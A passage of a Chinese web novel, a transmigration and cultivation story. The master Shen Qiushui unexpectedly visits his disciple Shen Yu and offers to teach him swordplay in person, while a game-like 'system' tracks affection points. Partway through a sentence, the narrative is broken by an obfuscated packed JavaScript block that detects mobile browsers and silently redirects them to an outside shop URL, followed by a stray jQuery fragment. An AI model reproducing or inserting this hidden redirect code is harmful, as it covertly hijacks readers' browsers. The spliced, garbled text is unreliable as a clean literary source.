沈逾攥着木剑,指尖微微泛白,一步一步挪到玄黑软轿前三步远的位置,垂首躬身,大气都不敢喘,周身冷冽的气息裹着淡淡的檀香,扑面而来,让他愈发拘谨。
他能隐约透过半垂的轿帘,瞥见轿内之人斜倚着,身姿清瘦却挺拔,一袭玄色衣料衬得他愈发矜贵疏离,只是看不清面容,却能清晰感受到那道淡漠的目光落在自己身上,带着审视,又毫无波澜。
“抬起头来。”
沈秋水的声音再次响起,比方才更轻,却带着不容抗拒的威严,音色清冽如冰泉,冷得没有半分温度。
沈逾心里一紧,依言缓缓抬头,依旧不敢直视轿内,只盯着轿帘上的暗纹,恭声道:“弟子,听候师尊吩咐。”
不远处的杉原璃三人,目光全都紧紧落在这边,连向来散漫的沐季风都收了笑意,白谷也微微抬眸,皆是满心诧异。他们跟在沈秋水身边多年,从未见过师尊对哪个弟子如此上心,更别说单独唤来问话,这对资质平庸的沈逾而言,简直是破天荒的事。
杉原璃攥着衣袖的手更紧了,满心都是担忧,生怕沈逾说错半个字,触怒了这位性情冷僻的师尊。
轿内沉寂片刻,沈秋水才缓缓开口,语气平淡,听不出喜怒:“今日登清玄殿石阶,险些超时,可知缘由?”
沈逾心头一慌,连忙如实回道:“回师尊,弟子资质愚钝,修行浅薄,体力不济,故而耽搁了时辰,往后弟子定会勤加修炼,不再拖沓。”
他低着头,心里疯狂跟系统哀嚎:完了完了,师尊这是要问责我爬台阶慢了?会不会扣我好感度啊!
【系统:宿主应答得体,未失礼数,好感度维持不变,无需慌乱。】
听着系统的提示,沈逾才稍稍松了口气。
轿内再无声响,只有微风拂过的轻响,沉寂得让人心慌。沈逾悬着心,不敢乱动,就这么垂首站着,双腿的酸麻感又涌了上来,却只能咬牙硬撑。
过了许久,沈秋水的声音才再次传来,淡得像一缕云烟:“既知自身不足,往后便多加勤勉,清玄殿弟子,无需天资绝顶,却不可懈怠散漫。”
“弟子谨记师尊教诲。”沈逾连忙躬身应下,心里暗自庆幸,还好只是训诫,没有惩罚。
“退下吧,回清竹院好生修炼,明日授课,不可再迟。”
“是,弟子告退。”
沈逾如蒙大赦,连忙躬身行礼,缓缓后退数步,才敢转身,脚步匆匆却不敢失态,朝着平台外走去。
直到远离那顶玄黑软轿,他才长长舒了口气,后背竟已浸出薄汗,方才那几分钟,比爬完整座石阶还要煎熬。
杉原璃见状,连忙起身快步迎了上来,眉眼间的担忧终于散去,温声问道:“师弟,师尊没责怪你吧?没出事便好。”
白谷与沐季风也看了过来,白谷依旧淡漠,没多过问,沐季风则走上前,笑着打趣:“小师弟可以啊,竟能让师尊单独叮嘱,倒是藏了几分本事。”
语气里带着几分戏谑,却也没了之前的全然漠视。
沈逾勉强笑了笑,心里还在回味方才的场景,脑海里系统的声音适时响起:
【滴!宿主与师尊首次单独对话完成,表现合规,奖励灵气值+100,师尊好感度+5,当前好感度:20(稍有留意)。】
沈逾暗自松了口气,总算又熬过一关,看着眼前云雾缭绕的山巅,再想到那位孤僻高冷的师尊,心里暗暗盘算:这救赎路虽难,好歹总算迈出了第一步,往后还是得抓紧撮合师姐和师尊,早日完成任务才是正事。
杉原璃见他神色恍惚,柔声说道:“师弟今日也累了,我送你回清竹院歇息吧,好好调整,明日再来清玄殿听课。”
沈逾点点头,此刻他也确实浑身酸软,再无力多走,跟着杉原璃,一步步朝着山下走去,身后的清玄殿隐在云雾间,轿内之人依旧静立,无人知晓他方才唤住沈逾,究竟是偶然,还是另有深意。
跟着杉原璃下山的路格外漫长,沈逾双腿酸沉得像灌了铅,一路走走停停,好不容易才回到清竹院。
外门的清竹院僻静简陋,青竹环绕,只有一间狭小的木屋,算是他的居所。推开门,屋内陈设简单,只有一张木床、一张书桌和一把椅子,落着薄薄一层灰尘,尽显原主平日里的边缘化处境。
沈逾压根没心思收拾,浑身的疲惫涌上来,只想好好躺平歇口气。他反手关上房门,三步并作两步扑到床上,刚把脑袋枕上冰凉的木枕,身体还没完全放松下来,院门外“哐当”一声沉重的撞击声骤然响起,打破了竹院的寂静。
那声音闷实又响亮,像是重物砸在木门上,又像是器物倒地的声响,在安静的午后格外刺耳。
沈逾吓得猛地从床上弹坐起来,睡意瞬间全无,心脏突突直跳。他皱紧眉头,轻手轻脚下床,踮着脚尖走到屋门口,屏住呼吸,将耳朵紧紧贴在门板上,想听听外面到底是什么动静。
是山风吹倒了杂物?还是有野兽闯到了外门弟子居所?又或是……有什么不明人士潜入了宗门?
他正凝神细听,院外除了竹叶沙沙响,再没别的动静,可心里的不安却越来越浓。
就在他全神贯注偷听、丝毫没留意身后的时候,一道清冽冷淡、带着几分矜贵疏离的声音,猝不及防从他身后响起,语气平淡,却让他瞬间僵在原地:
“徒儿,这是在做什么?”
这声音太过熟悉,清冽如冰泉,正是师尊沈秋水!
沈逾浑身一僵,后背瞬间绷直,汗毛都竖了起来,脑子一片空白。
他怎么也想不通,那位孤僻高冷、常年待在清玄殿、从不踏足外门弟子居所的师尊,怎么会突然出现在他这间破旧的小屋里!他明明一路回来都没察觉到任何人的气息,沈秋水就像鬼魅一样,悄无声息地进了屋,他竟半点都没发觉。
他缓缓转过身,手心沁出冷汗,垂着头不敢抬头直视,声音都带着几分没缓过神的慌乱:“师、师尊?弟子……弟子方才听到院外有异响,担心有意外,所以过来查看。”
此刻他才敢悄悄抬眼,飞快瞥了一眼。
沈秋水就站在屋内靠窗的位置,一袭玄色长袍纤尘不染,周身依旧萦绕着淡淡的冷香,身姿清挺卓绝,眉眼清冷矜贵,神色淡漠无波,看不出半点情绪,明明身处简陋的木屋,却自带一股绝尘的贵气,与这周遭的环境格格不入。
他就静静站在那里,没做任何动作,却自带一股压迫感,让沈逾愈发拘谨,连呼吸都放得极轻。
【系统:检测到师尊沈秋水主动到访清竹院,触发隐藏互动剧情!当前师尊好感度20,宿主务必谨言慎行,不可露出异样!】
沈逾在心底疯狂哀嚎:这是什么地狱级剧情!刚回院就被师尊抓包,他到底怎么进来的啊!我也太倒霉了吧!
沈秋水淡淡扫了他一眼,目光掠过他还乱糟糟的床铺,又看向紧闭的屋门,薄唇轻启,声音没半分温度:“外门有值守弟子,何须你一介资质浅薄的弟子操心。”
语气里带着几分不易
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17579948|205079||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
察觉的淡漠,却没有责备的意思,顿了顿,又缓缓开口,“方才的声响,不过是山风卷落院外枯木,不必大惊小怪。”
原来只是虚惊一场,沈逾悬着的心稍稍放下,却依旧不敢松懈,连忙躬身道:“是弟子鲁莽了,多谢师尊告知。”
他心里满是疑惑,师尊特意跑这么远,来他这清竹院,总不会就是为了跟他解释一声院外的异响吧?这位素来孤僻的师尊,到底为何会突然驾临这不起眼的小院落?
沈逾垂首立在原地,手心的冷汗还没干透,脑子里乱糟糟的,满心都是疑惑。这位连清玄殿都极少踏出的师尊,怎么会纡尊降贵,来到他这偏僻简陋的清竹院,还悄无声息地出现在屋内。
沈秋水淡漠的目光在他身上淡淡一扫,没有多余的寒暄,清冽的声音直接打破屋内的沉寂,语气依旧没什么波澜,却字字清晰:“今日练剑,你根基虚浮,招式生涩,连基础吐纳都错了三处。”
沈逾猛地一怔,抬头错愕地看向师尊,全然没料到,自己方才在清玄殿笨拙练剑的模样,竟全被他看在了眼里。要知道,师尊全程都在轿中,他本以为不会被留意,却不想每一处疏漏都被记着。
“弟子愚钝,修行不上心,让师尊失望了。”沈逾连忙低下头,满心窘迫,脸颊都微微发烫,只觉得自己那拙劣的招式,在这位修为高深的师尊面前,简直像孩童胡闹。
本以为接下来会是一顿训诫,却不想沈秋水话音一转,淡淡开口,说出的话让沈逾彻底僵在原地:“既根基浅薄,便不必跟着他人一同练剑,徒有其形无用。”
他缓步走到屋中狭小的空地,玄色衣摆扫过地面,纤尘不染,周身清冷的气息稍稍缓和了几分,却依旧矜贵疏离:“今日起,每日课后,本尊亲授你基础剑式与吐纳心法。”
亲授?!
沈逾瞪大了眼睛,几乎以为自己听错了,猛地抬头看向沈秋水,眼底满是不可置信。
那位孤僻高冷、从不与弟子亲近,连多说一句话都嫌麻烦的师尊,竟然要亲自教他练剑?这简直是天方夜谭,别说他不敢信,若是让师姐和两位师兄知道,怕是也会震惊到难以置信。
【系统!你听到没有!师尊要亲自教我练剑!这是什么神仙剧情!】沈逾在脑海里疯狂跟系统呐喊,先前的慌乱窘迫瞬间被震惊取代。
【系统:检测到师尊主动开启专属教学剧情,宿主获得专属修行机缘,师尊好感度隐藏+5,当前好感度25(心生留意)。】
沈逾好半天才缓过神,连忙躬身行礼,语气里带着没平复的激动与拘谨:“多、多谢师尊!弟子定勤勉苦练,绝不辜负师尊教诲!”
沈秋水淡淡颔首,没再多言,抬手轻轻一召,院角落那把原主留下的破旧木剑,竟像是被无形的力量牵引,径直飞至他手中。他握着木剑,身姿站定,没有多余的架势,却自带一股凛然剑意,即便只是握着一把普通木剑,也难掩其清贵绝尘的气质。
“看好,基础起手式,重在气息沉稳,力从丹田起,而非蛮力挥剑。”
他语速平缓,一步步演示招式,动作简洁利落,每一个细节都精准至极,没有丝毫花哨,却句句切中要害。不同于白日里三人练剑时的笼统教习,他特意放慢速度,专门针对沈逾根基薄弱的问题,拆解每一个动作要领。
沈逾连忙收敛心神,目不转睛地盯着师尊的动作,牢牢记在心里,不敢错过半分。他怎么也没想到,自己穿书后的第一个大机缘,竟然是这位最神秘高冷的师尊亲手给予的。